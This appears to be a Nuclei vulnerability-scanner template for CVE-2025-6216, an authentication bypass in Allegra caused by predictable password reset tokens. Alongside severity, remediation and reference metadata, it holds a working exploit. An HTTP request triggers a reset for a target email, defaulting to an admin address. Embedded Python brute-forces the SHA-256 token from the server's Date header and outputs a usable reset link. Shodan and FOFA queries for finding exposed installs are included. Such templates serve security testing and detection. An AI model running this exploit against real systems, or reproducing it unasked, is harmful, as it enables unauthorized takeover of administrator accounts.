CVE-2025-6216: Allegra - Authentication Bypass via Predictable Password Reset Token

id: CVE-2025-6216

info:
  name: Allegra - Authentication Bypass via Predictable Password Reset Token
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    Allegra calculateTokenExpDate Password Recovery Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of Allegra. Authentication is not required to exploit this vulnerability. The specific flaw exists within the password recovery mechanism. The issue results from reliance upon a predictable value when generating a password reset token. An attacker can leverage this vulnerability to bypass authentication on the application.
  impact: |
    An attacker can exploit this vulnerability to bypass authentication and gain unauthorized access to the application, potentially compromising sensitive data and system integrity.
  remediation: |
    Upgrade Allegra to version 8.1.4 or 7.5.2 or later to fix the predictable password reset token vulnerability.
  reference:
    - https://www.zerodayinitiative.com/advisories/ZDI-25-410/
    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
  classification:
    epss-score: 0.16633
    epss-percentile: 0.94688
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6216
    cwe-id: CWE-640
    cpe: cpe:2.3:a:alltena:allegra:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: alltena
    product: allegra
    shodan-query: http.favicon.hash:"284403119"
    fofa-query: icon_hash="284403119"
  tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset

variables:
  email: "admin@mydomainxxx.com"  # Change to a test account

flow: http(1) && code()

http:
  - raw:
      - |
        POST /resetPassword.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        email={{email}}&fromAjax=true&_dc=1750669432104&perspectiveType=&appActionID=

    extractors:
      - type: regex
        name: date_header
        part: header
        internal: true
        group: 1
        regex:
          - "Date: (.*)"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "emailSent"
          - '"success":true'
        condition: and

      - type: status
        status:
          - 200

code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei

    source: |
            import requests
            import hashlib,os
            import time
            from datetime import datetime, timezone
            from email.utils import parsedate_to_datetime

            def get_server_time(response):
                date_header = response.headers.get('Date')
                if date_header:
                    return parsedate_to_datetime(date_header)
                return None

            def main():
                BASE_URL = os.getenv("BaseURL")
                EMAIL = os.getenv("email")
                date_header = os.getenv("date_header")
                server_time = parsedate_to_datetime(date_header)
                if not server_time:
                    return
                server_time_ms = int(server_time.timestamp() * 1000)
                expiry_time_ms = server_time_ms + 28800000
                base_expiry_sec = (expiry_time_ms // 1000) * 1000
                for ms in range(1000):
                    candidate_expiry_ms = base_expiry_sec + ms
                    token = hashlib.sha256(str(candidate_expiry_ms).encode()).hexdigest()
                    test_url = f"{BASE_URL}/resetPassword!confirm.action?ctk={token}"
                    r = requests.get(test_url, allow_redirects=False)
                    if 'com.trackplus.app.logon.ResetPasswordApplication' in r.text:
                        print(test_url)
                        return

            if __name__ == "__main__":
                main()

    matchers:
      - type: dsl
        dsl:
          - contains(code_response, "/resetPassword!confirm.action?ctk=")

    extractors:
      - type: dsl  # type of the extractor
        dsl:
          - '"Reset URL: " + code_response'
# digest: 490a0046304402200a2dbd1ebf25b9e92750ff1d3e50589cd3834c4ae4e0f4567e0e280a8b882f9602203ee81b87653d7d775935569c3698904de2974ca45085d932957f0da0dbaab454:922c64590222798bb761d5b6d8e72950